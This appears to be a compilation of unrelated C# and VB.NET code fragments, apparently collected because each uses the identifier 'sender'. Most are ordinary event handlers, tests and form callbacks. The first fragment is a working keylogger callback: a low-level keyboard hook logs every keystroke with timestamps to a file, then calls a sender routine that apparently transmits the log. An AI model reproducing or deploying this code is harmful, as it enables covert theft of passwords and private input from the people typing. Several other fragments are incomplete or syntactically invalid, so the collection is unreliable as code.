private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { sender enviar = new sender(); if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); filtro filtro = new filtro(); StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true); if (!filtro.filtrar(vkCode, sw)) { if (!verificaData()) { string sis = Convert.ToString((Keys)vkCode); sw.Write(sis.ToLower()); } else { DateTime now = DateTime.Now; string dataAt = ""; dataAt = now.ToString("dd/MM/yyyy HH:mm"); string sis = Convert.ToString((Keys)vkCode); sw.WriteLine(); sw.Write("[" + dataAt + "]: " + sis.ToLower()); novaData(); } } sw.Close(); enviar.Sender(); } return(CallNextHookEx(_hookID, nCode, wParam, lParam)); }
// here you popup the data entry form and wire to the saving callback void buttonShowDataForm_Click(sender, e) { // yes - this is best way to show forms because it will dispose them too using (f = new formDataCollect(CarInfoSubmitCallback)) { f.ShowModal(); } }
// here you have your view void buttonAddCar_Click(sender, e) { var ci = new CarInfo(); ci.Name = txtName.Text; // and so on with properties _callBack(ci); }
static void Main(string[] args) { sender s = new sender(); s.err1 += new handler(func1); s.err2 += new handler(func2); s.noerr += new handler(func3); s.readerr(); Console.ReadKey(); }
//build mother send start test message to request testharness start test dll files private void RequestTestHarnessTest() { Sender s = new sender("http://localhost", 8050); CommMessage cm = new CommMessage(CommMessage.MessageType.request); cm.command = "StartTest"; cm.to = "http://localhost:" + 8050 + "/Ibuilder"; cm.from = "http://localhost:" + 8050 + "/Ibuilder"; cm.author = "Quanfeng Du"; s.postMessage(cm); }
public void Converts_sender_successfully() { //Arrange const string organizationNumber = "123456789"; var source = new Sender(organizationNumber); var expected = new sender { organizationnumber = organizationNumber }; //Act var result = DataTransferObjectConverter.ToDataTransferObject(source); //Assert var comparator = new Comparator(); IEnumerable <IDifference> differences; comparator.AreEqual(expected, result, out differences); Assert.Empty(differences); }
InvokeListeners(sender, eventHandlers);
protected void Page_Load(sender obj, EventArgs e) { ucBottom.varBottomID = ucTop.varBottomID; // Fix the first issue }
_eventHandler(sender, e);
// Hook events after the instance is (re)instantiated Log.Output += async(sender, message) => await Driver.Instance.WriteMessage(message);
add => RecordParsed += (sender, e) => value(sender, e);
1 => (sender, e) => MenuItemGenerateHardPattern_Click(sender, e),
/// <summary> /// 发送消息 /// </summary> /// <param name="webSocket"></param> internal unsafe void Send(webSocket.socket webSocket) { byte[] buffer = fastCSharp.memoryPool.StreamBuffers.Get(); webSocket.socket.message message = default(webSocket.socket.message); try { fixed(byte *bufferFixed = buffer) { using (unmanagedStream stream = new unmanagedStream(bufferFixed, buffer.Length)) { sender sender = new sender { Buffer = buffer, BufferFixed = bufferFixed, Stream = stream }; do { if (webSocket == this.WebSocket && webSocket.SocketIdentity == socket.identity) { if (webSocket.GetMessage(ref message)) { sender.Send(ref message); if ((stream.Length << 1) > buffer.Length) { byte[] data = sender.GetData(); Monitor.Enter(sendLock); try { webSocket.SslStream.Write(data, 0, stream.Length); ++socket.timeoutIdentity; } finally { Monitor.Exit(sendLock); } stream.UnsafeSetLength(0); } else if (webSocket.MessageCount == 0) { Thread.Sleep(0); } } else { if (stream.Length != 0) { byte[] data = sender.GetData(); Monitor.Enter(sendLock); try { webSocket.SslStream.Write(data, 0, stream.Length); ++socket.timeoutIdentity; } finally { Monitor.Exit(sendLock); } } return; } } else { break; } }while (true); } } } catch { } finally { fastCSharp.memoryPool.StreamBuffers.PushNotNull(buffer); } webSocket.Client.shutdown(); }
get => SHA512.Create().ComputeHash(ASCIIEncoding.ASCII.GetBytes(JsonConvert.SerializeObject(new _transaction(sender, receiver, value, num))));
SettingChanged?.Invoke(sender, args);
base.OnAttributesChange(sender, data);
public static readonly DependencyProperty Value1Property = DependencyProperty.Register("Value1", typeof(int), typeof(ElementA), new PropertyMetadata(defaultValue: 1, propertyChangedCallback: (sender, e) => { if (Value1ChangedA != null) { Value1ChangedA(sender, e);
//Async call to not impact memory read times(too much) BeginInvoke((MethodInvoker)(() => SreaderOnInvalidRead(sender, e)));
public void TestMethod8() { var mocksender = new Mock <ISender>(); var senderobj = new sender().send(mocksender.Object); }
checkforsave(sender, e);
0 => (sender, e) => MenuItemGenerateWithSymmetry_Click(sender, e), 1 => (sender, e) => MenuItemGenerateHardPattern_Click(sender, e),
// make it public in case of external event handlers registration private void Timer_Tick(sender sender, EventArgs e) { // now you can access firstForm or it's timer here }
EntryCreated(sender, arg);
// Hook events after the instance is (re)instantiated Log.Output += async(sender, message) => { if (Driver.IsConnected)
var(sender, message) = args;
remove => RecordParsed -= (sender, e) => value(sender, e);
await SetDeviceEnabledState(sender, args);
var(sender, options) = value;
message_monitor_.MessageOut(new DebugMessageInfo(DateTime.Now, SystemTick, sender, type, obj.ToString()));
private void ComputeNewStateAndOutput(sender, e) {
Private Sub AnythingHappend(sender As Object, e As EventArgs) Handles btCountWords.Click, btApply2Words.Click, btApplyNumeric.Click, cmbMode.SelectedIndexChanged, ckRespectOrder.CheckedChanged, ckWithRepetitions.CheckedChanged, btPermutateWords.Click
private void OnComboSelectedIndexChanged(sender, e) { if (_stopEvent) return; // REAL event code here }